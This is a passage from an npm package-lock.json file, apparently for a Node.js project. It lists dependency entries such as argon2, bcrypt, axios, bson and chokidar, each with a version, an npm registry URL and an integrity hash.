2389 | "is-fullwidth-code-point": "^3.0.0",
2390 | "strip-ansi": "^6.0.1"
2391 | },
2392 | "engines": {
2393 | "node": ">=8"
2394 | }
2395 | },
2396 | "node_modules/yargs/node_modules/strip-ansi": {
2397 | "version": "6.0.1",
2398 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
2399 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
2400 | "dependencies": {
2401 | "ansi-regex": "^5.0.1"
2402 | },
2403 | "engines": {
2404 | "node": ">=8"
2405 | }
2406 | }
2407 | },
2408 | "dependencies": {
2409 | "@mapbox/node-pre-gyp": {
2410 | "version": "1.0.6",
2411 | "resolved": "https://registry.npmjs.org/@mapbox/node-pre-gyp/-/node-pre-gyp-1.0.6.tgz",
2412 | "integrity": "sha512-qK1ECws8UxuPqOA8F5LFD90vyVU33W7N3hGfgsOVfrJaRVc8McC3JClTDHpeSbL9CBrOHly/4GsNPAvIgNZE+g==",
2413 | "requires": {
2414 | "detect-libc": "^1.0.3",
2415 | "https-proxy-agent": "^5.0.0",
2416 | "make-dir": "^3.1.0",
2417 | "node-fetch": "^2.6.5",
2418 | "nopt": "^5.0.0",
2419 | "npmlog": "^5.0.1",
2420 | "rimraf": "^3.0.2",
2421 | "semver": "^7.3.5",
2422 | "tar": "^6.1.11"
2423 | }
2424 | },
2425 | "@phc/format": {
2426 | "version": "1.0.0",
2427 | "resolved": "https://registry.npmjs.org/@phc/format/-/format-1.0.0.tgz",
2428 | "integrity": "sha512-m7X9U6BG2+J+R1lSOdCiITLLrxm+cWlNI3HUFA92oLO77ObGNzaKdh8pMLqdZcshtkKuV84olNNXDfMc4FezBQ=="
2429 | },
2430 | "@sindresorhus/is": {
2431 | "version": "0.14.0",
2432 | "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz",
2433 | "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ=="
2434 | },
2435 | "@szmarczak/http-timer": {
2436 | "version": "1.1.2",
2437 | "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz",
2438 | "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==",
2439 | "requires": {
2440 | "defer-to-connect": "^1.0.1"
2441 | }
2442 | },
2443 | "@types/node": {
2444 | "version": "16.11.7",
2445 | "resolved": "https://registry.npmjs.org/@types/node/-/node-16.11.7.tgz",
2446 | "integrity": "sha512-QB5D2sqfSjCmTuWcBWyJ+/44bcjO7VbjSbOE0ucoVbAsSNQc4Lt6QkgkVXkTDwkL4z/beecZNDvVX15D4P8Jbw=="
2447 | },
2448 | "@types/webidl-conversions": {
2449 | "version": "6.1.1",
2450 | "resolved": "https://registry.npmjs.org/@types/webidl-conversions/-/webidl-conversions-6.1.1.tgz",
2451 | "integrity": "sha512-XAahCdThVuCFDQLT7R7Pk/vqeObFNL3YqRyFZg+AqAP/W1/w3xHaIxuW7WszQqTbIBOPRcItYJIou3i/mppu3Q=="
2452 | },
2453 | "@types/whatwg-url": {
2454 | "version": "8.2.1",
2455 | "resolved": "https://registry.npmjs.org/@types/whatwg-url/-/whatwg-url-8.2.1.tgz",
2456 | "integrity": "sha512-2YubE1sjj5ifxievI5Ge1sckb9k/Er66HyR2c+3+I6VDUUg1TLPdYYTEbQ+DjRkS4nTxMJhgWfSfMRD2sl2EYQ==",
2457 | "requires": {
2458 | "@types/node": "*",
2459 | "@types/webidl-conversions": "*"
2460 | }
2461 | },
2462 | "abbrev": {
2463 | "version": "1.1.1",
2464 | "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
2465 | "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q=="
2466 | },
2467 | "agent-base": {
2468 | "version": "6.0.2",
2469 | "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
2470 | "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
2471 | "requires": {
2472 | "debug": "4"
2473 | }
2474 | },
2475 | "ansi-align": {
2476 | "version": "3.0.1",
2477 | "resolved": "https://registry.npmjs.org/ansi-align/-/ansi-align-3.0.1.tgz",
2478 | "integrity": "sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w==",
2479 | "requires": {
2480 | "string-width": "^4.1.0"
2481 | },
2482 | "dependencies": {
2483 | "ansi-regex": {
2484 | "version": "5.0.1",
2485 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
2486 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
2487 | },
2488 | "is-fullwidth-code-point": {
2489 | "version": "3.0.0",
2490 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
2491 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
2492 | },
2493 | "string-width": {
2494 | "version": "4.2.3",
2495 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
2496 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
2497 | "requires": {
2498 | "emoji-regex": "^8.0.0",
2499 | "is-fullwidth-code-point": "^3.0.0",
2500 | "strip-ansi": "^6.0.1"
2501 | }
2502 | },
2503 | "strip-ansi": {
2504 | "version": "6.0.1",
2505 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
2506 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
2507 | "requires": {
2508 | "ansi-regex": "^5.0.1"
2509 | }
2510 | }
2511 | }
2512 | },
2513 | "ansi-regex": {
2514 | "version": "3.0.0",
2515 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
2516 | "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg="
2517 | },
2518 | "ansi-styles": {
2519 | "version": "4.3.0",
2520 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
2521 | "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
2522 | "requires": {
2523 | "color-convert": "^2.0.1"
2524 | }
2525 | },
2526 | "anymatch": {
2527 | "version": "3.1.2",
2528 | "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz",
2529 | "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==",
2530 | "requires": {
2531 | "normalize-path": "^3.0.0",
2532 | "picomatch": "^2.0.4"
2533 | }
2534 | },
2535 | "aproba": {
2536 | "version": "2.0.0",
2537 | "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.0.0.tgz",
2538 | "integrity": "sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ=="
2539 | },
2540 | "are-we-there-yet": {
2541 | "version": "2.0.0",
2542 | "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-2.0.0.tgz",
2543 | "integrity": "sha512-Ci/qENmwHnsYo9xKIcUJN5LeDKdJ6R1Z1j9V/J5wyq8nh/mYPEpIKJbBZXtZjG04HiK7zV/p6Vs9952MrMeUIw==",
2544 | "requires": {
2545 | "delegates": "^1.0.0",
2546 | "readable-stream": "^3.6.0"
2547 | }
2548 | },
2549 | "argon2": {
2550 | "version": "0.28.2",
2551 | "resolved": "https://registry.npmjs.org/argon2/-/argon2-0.28.2.tgz",
2552 | "integrity": "sha512-8oRk3kPlL0lLletENzhpbF9zoZJqvIHwTkjBseMrg1uD4gBMqhqnjJz1z3lEtwT0oqQAEkEwsEpsjaQBBRHcWw==",
2553 | "requires": {
2554 | "@mapbox/node-pre-gyp": "^1.0.1",
2555 | "@phc/format": "^1.0.0",
2556 | "node-addon-api": "^3.0.2",
2557 | "opencollective-postinstall": "^2.0.3"
2558 | }
2559 | },
2560 | "asn1": {
2561 | "version": "0.2.6",
2562 | "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz",
2563 | "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==",
2564 | "requires": {
2565 | "safer-buffer": "~2.1.0"
2566 | }
2567 | },
2568 | "axios": {
2569 | "version": "0.24.0",
2570 | "resolved": "https://registry.npmjs.org/axios/-/axios-0.24.0.tgz",
2571 | "integrity": "sha512-Q6cWsys88HoPgAaFAVUb0WpPk0O8iTeisR9IMqy9G8AbO4NlpVknrnQS03zzF9PGAWgO3cgletO3VjV/P7VztA==",
2572 | "requires": {
2573 | "follow-redirects": "^1.14.4"
2574 | }
2575 | },
2576 | "balanced-match": {
2577 | "version": "1.0.2",
2578 | "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
2579 | "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
2580 | },
2581 | "base64-js": {
2582 | "version": "1.5.1",
2583 | "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
2584 | "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA=="
2585 | },
2586 | "bcrypt": {
2587 | "version": "5.0.1",
2588 | "resolved": "https://registry.npmjs.org/bcrypt/-/bcrypt-5.0.1.tgz",
2589 | "integrity": "sha512-9BTgmrhZM2t1bNuDtrtIMVSmmxZBrJ71n8Wg+YgdjHuIWYF7SjjmCPZFB+/5i/o/PIeRpwVJR3P+NrpIItUjqw==",
2590 | "requires": {
2591 | "@mapbox/node-pre-gyp": "^1.0.0",
2592 | "node-addon-api": "^3.1.0"
2593 | }
2594 | },
2595 | "bcrypt-pbkdf": {
2596 | "version": "1.0.2",
2597 | "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
2598 | "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=",
2599 | "requires": {
2600 | "tweetnacl": "^0.14.3"
2601 | }
2602 | },
2603 | "binary-extensions": {
2604 | "version": "2.2.0",
2605 | "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
2606 | "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA=="
2607 | },
2608 | "boxen": {
2609 | "version": "5.1.2",
2610 | "resolved": "https://registry.npmjs.org/boxen/-/boxen-5.1.2.tgz",
2611 | "integrity": "sha512-9gYgQKXx+1nP8mP7CzFyaUARhg7D3n1dF/FnErWmu9l6JvGpNUN278h0aSb+QjoiKSWG+iZ3uHrcqk0qrY9RQQ==",
2612 | "requires": {
2613 | "ansi-align": "^3.0.0",
2614 | "camelcase": "^6.2.0",
2615 | "chalk": "^4.1.0",
2616 | "cli-boxes": "^2.2.1",
2617 | "string-width": "^4.2.2",
2618 | "type-fest": "^0.20.2",
2619 | "widest-line": "^3.1.0",
2620 | "wrap-ansi": "^7.0.0"
2621 | },
2622 | "dependencies": {
2623 | "ansi-regex": {
2624 | "version": "5.0.1",
2625 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
2626 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
2627 | },
2628 | "is-fullwidth-code-point": {
2629 | "version": "3.0.0",
2630 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
2631 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
2632 | },
2633 | "string-width": {
2634 | "version": "4.2.3",
2635 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
2636 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
2637 | "requires": {
2638 | "emoji-regex": "^8.0.0",
2639 | "is-fullwidth-code-point": "^3.0.0",
2640 | "strip-ansi": "^6.0.1"
2641 | }
2642 | },
2643 | "strip-ansi": {
2644 | "version": "6.0.1",
2645 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
2646 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
2647 | "requires": {
2648 | "ansi-regex": "^5.0.1"
2649 | }
2650 | }
2651 | }
2652 | },
2653 | "brace-expansion": {
2654 | "version": "1.1.11",
2655 | "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
2656 | "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
2657 | "requires": {
2658 | "balanced-match": "^1.0.0",
2659 | "concat-map": "0.0.1"
2660 | }
2661 | },
2662 | "braces": {
2663 | "version": "3.0.2",
2664 | "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
2665 | "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
2666 | "requires": {
2667 | "fill-range": "^7.0.1"
2668 | }
2669 | },
2670 | "bson": {
2671 | "version": "4.6.0",
2672 | "resolved": "https://registry.npmjs.org/bson/-/bson-4.6.0.tgz",
2673 | "integrity": "sha512-8jw1NU1hglS+Da1jDOUYuNcBJ4cNHCFIqzlwoFNnsTOg2R/ox0aTYcTiBN4dzRa9q7Cvy6XErh3L8ReTEb9AQQ==",
2674 | "requires": {
2675 | "buffer": "^5.6.0"
2676 | }
2677 | },
2678 | "buffer": {
2679 | "version": "5.7.1",
2680 | "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
2681 | "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==",
2682 | "requires": {
2683 | "base64-js": "^1.3.1",
2684 | "ieee754": "^1.1.13"
2685 | }
2686 | },
2687 | "cacheable-request": {
2688 | "version": "6.1.0",
2689 | "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz",
2690 | "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==",
2691 | "requires": {
2692 | "clone-response": "^1.0.2",
2693 | "get-stream": "^5.1.0",
2694 | "http-cache-semantics": "^4.0.0",
2695 | "keyv": "^3.0.0",
2696 | "lowercase-keys": "^2.0.0",
2697 | "normalize-url": "^4.1.0",
2698 | "responselike": "^1.0.2"
2699 | },
2700 | "dependencies": {
2701 | "get-stream": {
2702 | "version": "5.2.0",
2703 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz",
2704 | "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==",
2705 | "requires": {
2706 | "pump": "^3.0.0"
2707 | }
2708 | },
2709 | "lowercase-keys": {
2710 | "version": "2.0.0",
2711 | "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz",
2712 | "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA=="
2713 | }
2714 | }
2715 | },
2716 | "camelcase": {
2717 | "version": "6.2.1",
2718 | "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.1.tgz",
2719 | "integrity": "sha512-tVI4q5jjFV5CavAU8DXfza/TJcZutVKo/5Foskmsqcm0MsL91moHvwiGNnqaa2o6PF/7yT5ikDRcVcl8Rj6LCA=="
2720 | },
2721 | "chalk": {
2722 | "version": "4.1.2",
2723 | "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
2724 | "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
2725 | "requires": {
2726 | "ansi-styles": "^4.1.0",
2727 | "supports-color": "^7.1.0"
2728 | },
2729 | "dependencies": {
2730 | "supports-color": {
2731 | "version": "7.2.0",
2732 | "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
2733 | "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
2734 | "requires": {
2735 | "has-flag": "^4.0.0"
2736 | }
2737 | }
2738 | }
2739 | },
2740 | "chokidar": {
2741 | "version": "3.5.2",
2742 | "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.2.tgz",
2743 | "integrity": "sha512-ekGhOnNVPgT77r4K/U3GDhu+FQ2S8TnK/s2KbIGXi0SZWuwkZ2QNyfWdZW+TVfn84DpEP7rLeCt2UI6bJ8GwbQ==",
2744 | "requires": {
2745 | "anymatch": "~3.1.2",
2746 | "braces": "~3.0.2",
2747 | "fsevents": "~2.3.2",
2748 | "glob-parent": "~5.1.2",
2749 | "is-binary-path": "~2.1.0",
2750 | "is-glob": "~4.0.1",
2751 | "normalize-path": "~3.0.0",
2752 | "readdirp": "~3.6.0"
2753 | }
2754 | },
2755 | "chownr": {
2756 | "version": "2.0.0",
2757 | "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz",
2758 | "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ=="
2759 | },
2760 | "ci-info": {
2761 | "version": "2.0.0",
2762 | "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz",
2763 | "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ=="
2764 | },
2765 | "cli-boxes": {
2766 | "version": "2.2.1",
2767 | "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.1.tgz",
2768 | "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw=="
2769 | },
2770 | "cliui": {
2771 | "version": "7.0.4",
2772 | "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz",
2773 | "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==",
2774 | "requires": {
2775 | "string-width": "^4.2.0",
2776 | "strip-ansi": "^6.0.0",
2777 | "wrap-ansi": "^7.0.0"
2778 | },
2779 | "dependencies": {
2780 | "ansi-regex": {
2781 | "version": "5.0.1",
2782 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
2783 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
2784 | },
2785 | "is-fullwidth-code-point": {
2786 | "version": "3.0.0",
2787 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
2788 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
2789 | },
2790 | "string-width": {
2791 | "version": "4.2.3",
2792 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
2793 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
2794 | "requires": {
2795 | "emoji-regex": "^8.0.0",
2796 | "is-fullwidth-code-point": "^3.0.0",
2797 | "strip-ansi": "^6.0.1"
2798 | }
2799 | },
2800 | "strip-ansi": {
2801 | "version": "6.0.1",
2802 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
2803 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
2804 | "requires": {
2805 | "ansi-regex": "^5.0.1"
2806 | }
2807 | }
2808 | }
2809 | },
2810 | "clone-response": {
2811 | "version": "1.0.2",
2812 | "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz",
2813 | "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=",
2814 | "requires": {
2815 | "mimic-response": "^1.0.0"
2816 | }
2817 | },
2818 | "color-convert": {
2819 | "version": "2.0.1",
2820 | "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
2821 | "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
2822 | "requires": {
2823 | "color-name": "~1.1.4"
2824 | }
2825 | },
2826 | "color-name": {
2827 | "version": "1.1.4",
2828 | "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
2829 | "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
2830 | },
2831 | "color-support": {
2832 | "version": "1.1.3",
2833 | "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz",
2834 | "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg=="
2835 | },
2836 | "concat-map": {
2837 | "version": "0.0.1",
2838 | "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
2839 | "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s="
2840 | },
2841 | "concurrently": {
2842 | "version": "6.4.0",
2843 | "resolved": "https://registry.npmjs.org/concurrently/-/concurrently-6.4.0.tgz",
2844 | "integrity": "sha512-HZ3D0RTQMH3oS4gvtYj1P+NBc6PzE2McEra6yEFcQKrUQ9HvtTGU4Dbne083F034p+LRb7kWU0tPRNvSGs1UCQ==",
2845 | "requires": {
2846 | "chalk": "^4.1.0",
2847 | "date-fns": "^2.16.1",
2848 | "lodash": "^4.17.21",
2849 | "rxjs": "^6.6.3",
2850 | "spawn-command": "^0.0.2-1",
2851 | "supports-color": "^8.1.0",
2852 | "tree-kill": "^1.2.2",
2853 | "yargs": "^16.2.0"
2854 | }
2855 | },
2856 | "configstore": {
2857 | "version": "5.0.1",
2858 | "resolved": "https://registry.npmjs.org/configstore/-/configstore-5.0.1.tgz",
2859 | "integrity": "sha512-aMKprgk5YhBNyH25hj8wGt2+D52Sw1DRRIzqBwLp2Ya9mFmY8KPvvtvmna8SxVR9JMZ4kzMD68N22vlaRpkeFA==",
2860 | "requires": {
2861 | "dot-prop": "^5.2.0",
2862 | "graceful-fs": "^4.1.2",
2863 | "make-dir": "^3.0.0",
2864 | "unique-string": "^2.0.0",
2865 | "write-file-atomic": "^3.0.0",
2866 | "xdg-basedir": "^4.0.0"
2867 | }
2868 | },
2869 | "console-control-strings": {
2870 | "version": "1.1.0",
2871 | "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz",
2872 | "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4="
2873 | },
2874 | "cpu-features": {
2875 | "version": "0.0.2",
2876 | "resolved": "https://registry.npmjs.org/cpu-features/-/cpu-features-0.0.2.tgz",
2877 | "integrity": "sha512-/2yieBqvMcRj8McNzkycjW2v3OIUOibBfd2dLEJ0nWts8NobAxwiyw9phVNS6oDL8x8tz9F7uNVFEVpJncQpeA==",
2878 | "optional": true,
2879 | "requires": {
2880 | "nan": "^2.14.1"
2881 | }
2882 | },
2883 | "crypto-random-string": {
2884 | "version": "2.0.0",
2885 | "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz",
2886 | "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA=="
2887 | },
2888 | "date-fns": {
2889 | "version": "2.27.0",
2890 | "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.27.0.tgz",
2891 | "integrity": "sha512-sj+J0Mo2p2X1e306MHq282WS4/A8Pz/95GIFcsPNMPMZVI3EUrAdSv90al1k+p74WGLCruMXk23bfEDZa71X9Q=="
2892 | },
2893 | "debug": {
2894 | "version": "4.3.2",
2895 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz",
2896 | "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==",
2897 | "requires": {
2898 | "ms": "2.1.2"
2899 | }
2900 | },
2901 | "decompress-response": {
2902 | "version": "3.3.0",
2903 | "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz",
2904 | "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=",
2905 | "requires": {
2906 | "mimic-response": "^1.0.0"
2907 | }
2908 | },
2909 | "deep-extend": {
2910 | "version": "0.6.0",
2911 | "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
2912 | "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA=="
2913 | },
2914 | "defer-to-connect": {
2915 | "version": "1.1.3",
2916 | "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz",
2917 | "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ=="
2918 | },
2919 | "delegates": {
2920 | "version": "1.0.0",
2921 | "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz",
2922 | "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o="
2923 | },
2924 | "denque": {
2925 | "version": "2.0.1",
2926 | "resolved": "https://registry.npmjs.org/denque/-/denque-2.0.1.tgz",
2927 | "integrity": "sha512-tfiWc6BQLXNLpNiR5iGd0Ocu3P3VpxfzFiqubLgMfhfOw9WyvgJBd46CClNn9k3qfbjvT//0cf7AlYRX/OslMQ=="
2928 | },
2929 | "detect-libc": {
2930 | "version": "1.0.3",
2931 | "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz",
2932 | "integrity": "sha1-+hN8S9aY7fVc1c0CrFWfkaTEups="
2933 | },
2934 | "dot-prop": {
2935 | "version": "5.3.0",
